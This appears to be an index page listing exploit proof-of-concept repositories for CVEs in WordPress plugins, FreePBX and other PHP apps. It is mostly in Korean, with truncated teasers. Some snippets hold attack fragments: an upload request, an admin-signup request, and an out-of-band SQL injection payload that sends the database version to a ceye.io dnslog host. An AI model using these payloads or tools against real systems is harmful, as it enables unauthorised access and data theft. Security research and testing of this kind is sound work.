CVE-2026-1729-PoC-AdForest-WordPress-Authentication-Bypass

CVE-2026-1729 - AdForest WordPress 인증 우회 PoC 설명 CVE-2026-1729에 대한 간단한 개념 증명PoC - AdForest WordPress 테마의 인증 우회 취약점. 작성자: f3ds cr3w est 2oo2 blog 기능 ✅ 자격 증명 없이 관리자 직접 접근 ✅ 프로덕션 WordPress 인스턴스에서 작동 ✅ Docker 설정 불필요 ✅ 간단한 명령줄 인터페이스 ✅ 세션 유지 요구 사항 Python 3.6+ requests 라이브러리 설치 pip install requests 사용법 기...

CVE-2024-6244

🚀 pz-frontend-manager -U -p -i usage: p.py -h --url URL --username USERNAME --password PASSWORD --image IMAGE pz-frontend-manager = 1.0.5 - CSRF change user profile picture options: -h, --help show this help message and exit --url URL, -u URL Base URL of the WordPress site --username USERNAME, -U...

CVE-2024-3673

CVE-2024-3673 CVE-2024-3673 익스플로잇: Web Directory Free WordPress 플러그인 버전 1.7.3 미만의 로컬 파일 포함 개요 CVE-2024-3673 은 Web Directory Free WordPress 플러그인버전 1.7.3 미만의 심각한 취약점을 설명합니다. 이 플러그인은 include 함수에서 매개변수를 사용하기 전에 검증하지 않아 로컬 파일 포함LFI이 발생합니다. 이를 통해 인증되지 않은 공격자가 서버의 민감한 파일을 읽을 수 있습니다. 취약한 플러그인 버전 영향을 받는 버...

cve-2023-2523-and-cve-2023-2648

cve-2023-2523 참고: 스크립트가 phpinfo 파일을 업로드합니다. 사용 방법: 결과가 자동으로 result.txt 파일에 저장됩니다. 이미지 수동 POC: POST /E-mobile/App/Ajax/ajax.php?action=mobileuploadsave HTTP/1.1 Host: your-ip Content-Length: 352 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: null Content-Type: multipart/form-data;...

CVE-2024-33911

The School Management 10.3.4 - 인증 후 SQL 인젝션 익스플로잇 제목: The School Management 10.3.4 - Post-Authenticated SQL Injection 날짜: 2024년 4월 29일 익스플로잇 작성자: Ivan Spiridonov xbz0n 공급업체 홈페이지: https://theschool-management.com 버전: 10.3.4 테스트 환경: Ubuntu 22.04 CVE: CVE-2024-33911 취약점 The School Management 플러그인, 버...

Exploit for CVE-2025-58226

CVE-2025-58226 — 3D FlipBook ≤ 1.16.16 Unauthenticated Sensiti...

CVE-2022-21661

WordPress CVE-2022-21661 스캐너 사용법 python wordpressscanner.py -H -p -ssl -proxy -path 도움말 WordPress Scanner for CVE-2022-21661 options: -h, --help show this help message and exit -H HOST, --host HOST Host or IP address -p PORT, --port PORT Port number -ssl, --sslsupport Support SSL/TLS -proxy PROXY...

Exploit for CVE-2026-81780

CVE-2026-81780 — Hash Form ≤ 1.4.2 Unauthenticated RCE !CVE...

cve-2025-1323

cve-2025-1323 WP-Recall 플러그인 SQL 인젝션 ⚠️ 법적 고지 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 명시적 허가 없이 시스템에 사용하지 마십시오. 오용 시 불법 행위가 될 수 있습니다. ✅ 요구 사항 Python 3.x requests 모듈 종속성 설치: pip install requests python CVE-2025-1323.py Enter target URL e.g. https://target.com/wp-admin/admin-ajax.php:...

SQL-Injection-and-RCE_CVE-2025-57819

FreePBX RCE PoC 인증되지 않음 요약 FreePBX 버전 15, 16, 17 은 엔드포인트에서 사용자 제공 데이터의 불충분한 검사로 인한 원격 코드 실행RCE 취약점을 포함합니다. 인증되지 않은 공격자는 데이터베이스를 조작하여 원격 코드 실행을 달성할 수 있습니다. 익스플로잇은 인증이 필요하지 않습니다. 참고 https://github.com/freepbx/security-reporting/security/advisories/ghsa-m42g-xg4c-5f3h 개념 증명PoC 참고: 대상이 편집되었습니다. 승인된...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 version5.8.3 경로：http://your target/wp-admin/admin-ajax.php 주입 유형은 out-of-band이며, dnslog를 직접 지정하고 ceye.io를 대체해야 합니다. POST- 데이터："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select version,'.27s601.ceye.io\abc',1,1-- a"...

CVE-2026-6433

CVE-2026-6433 — 개념 증명 FlipperCode — 커스텀 CSS, JS 및 PHP · 인증되지 않은 SQL 인젝션 → RCE eval을 통해 영향 받는 버전: FlipperCode 커스텀 CSS, JS 및 PHP ≤ 2.0.7 · WordPress 플러그인의 공격 표면 admin-ajax.php를 통해 한눈에 보기 항목| 세부사항 ---|--- 벡터| 플러그인 AJAX 액션을 통해 터널링된 인증되지 않은 SQLi 영향| WordPress 호스트에서 원격 코드 실행 페이로드가 문서 루트에 기록된 후 PHP 컨텍스트...

CVE-2021-39409

CVE-2021-39409 Online Student Rate System v1.0에서 관리자 계정 등록이 가능하여, 악의적인 공격자가 관리자 계정을 생성하고 관리자 패널에 접근할 수 있습니다. 취약점 POST /ajax.php?action=signup HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 X11; Linux x8664; rv:78.0 Gecko/20100101 Firefox/78.0 Accept: / Accept-Language: en-US,en;q=0.5...

CVE-2025-57819_FreePBX

🛡️ CVE-2025-57819 – FreePBX 인증되지 않은 SQL 인젝션을 통한 RCE PoC 이 저장소는 FreePBX 의 치명적인 인증되지 않은 SQL 인젝션 취약점 인 CVE-2025-57819 를 대상으로 하는 두 개의 Python PoCProof-of-Concept 스크립트를 포함합니다. 🧠 취약점 정보 CVE-2025-57819 CVE-2025-57819 는 여러 버전의 FreePBX에 영향을 미치며, admin/ajax.php의 취약한 파라미터를 통해 인증되지 않은 원격 공격자 가 임의의 SQL 쿼리 를 실행할...

pharmacy-sqli-CVE-2026-7392

약국 판매 및 재고 시스템 1.0 - CVE-2026-7392 SQL 인젝션 SourceCodester 약국 판매 및 재고 시스템 V1.0 순수 PHP/MySQL 버전 CVE : CVE-2026-7392 엔드포인트 : /ajax.php?action=deletesupplier id 매개변수 유형 : SQL 인젝션 CWE-89 CVSS 3.1 : 6.3 중간 작성자 : oretnom23 SourceCodester, 2020-10-08 기본 로그인 : admin / admin123 취약한 코드 모든 데이터베이스 작업은...

CVE-2021-24762

개요 이 저장소는 HTTP 스캐닝을 통해 WordPress 인스턴스에서 식별된 취약점인 CVE-2021-24762의 탐지를 문서화합니다. 해당 취약점은 WordPress AJAX 엔드포인트에서 발견되었습니다: /wp-admin/admin-ajax.php 이 엔드포인트는 WordPress 플러그인과 테마가 비동기 요청을 처리하는 데 일반적으로 사용됩니다. AJAX 액션에 대한 검증이 부적절하거나 구현이 안전하지 않으면 공격자가 이 엔드포인트를 악용할 수 있습니다. 스캔 결과 취약점 스캔에서 다음 결과를 얻었습니다:...

CVE-2024-50450

CVE-2024-50450 WordPress Meta Data and Taxonomies Filter MDTF = 1.3.3.4 - 인증되지 않은 임의의 단축코드 실행 설명: The MDTF – Meta Data and Taxonomies Filter 플러그인은 최신 버전 1.3.3.4를 포함한 모든 버전에서 임의의 단축코드 실행에 취약합니다. 이는 소프트웨어가 doshortcode를 실행하기 전에 값을 제대로 검증하지 않는 액션을 사용자가 실행할 수 있도록 허용하기 때문입니다. 이로 인해 인증되지 않은 공격자가 임의의 단축코...

FreePBX-SQLi-RCE

FreePBX CVE-2025-57819 - 未授权 SQLi 到 RCE PoC 仅供教育与安全研究使用 - 请参阅下方法律声明 针对 CVE-2025-57819 的漏洞利用概念验证，这是 FreePBX 中一个严重的未授权 SQL 注入漏洞，可导致远程代码执行。本 PoC 是在官方补丁发布之后 才公开的，仅供安全研究和授权测试使用。 概述 FreePBX 15.x、16.x 和 17.x 版本（低于已修补版本）在 endpoint 模块的 AJAX 处理器中存在未授权 SQL 注入漏洞。该漏洞利用链允许： 1. 创建管理员账户 通过 SQL 注入 2. 部署 webshell...

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / 0-Click RCE 익스플로잇 저자: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 이 저장소는 취약한 WordPress 플러그인의 인증되지 않은 임의 파일 업로드 취약점으로, 원격 코드 실행RCE으로 이어지는 CVE-2024-51793에 대한 개념 증명 익스플로잇을 포함합니다. 스크립트가 수행하는 작업 이 스크립트는 인증 없이 PHP 페이로드를 업로드하기 위해 취약한 admin-ajax.php 액션을 악용합니다...

CVE-2024-52430

CVE-2024-52430 Lis Video Gallery = 0.2.1 - 인증되지 않은 PHP 객체 주입 설명 Lis Video Gallery WordPress 플러그인은 버전 0.2.1까지포함 신뢰할 수 없는 입력의 역직렬화를 통해 PHP 객체 주입 취약점에 노출됩니다. 이로 인해 인증되지 않은 공격자가 PHP 객체를 주입할 수 있습니다. 취약한 소프트웨어에는 알려진 POP 체인이 존재하지 않습니다. 대상 시스템에 추가 플러그인이나 테마를 통해 POP 체인이 존재하는 경우, 공격자는 임의의 파일을 삭제하거나 민감한 데이터...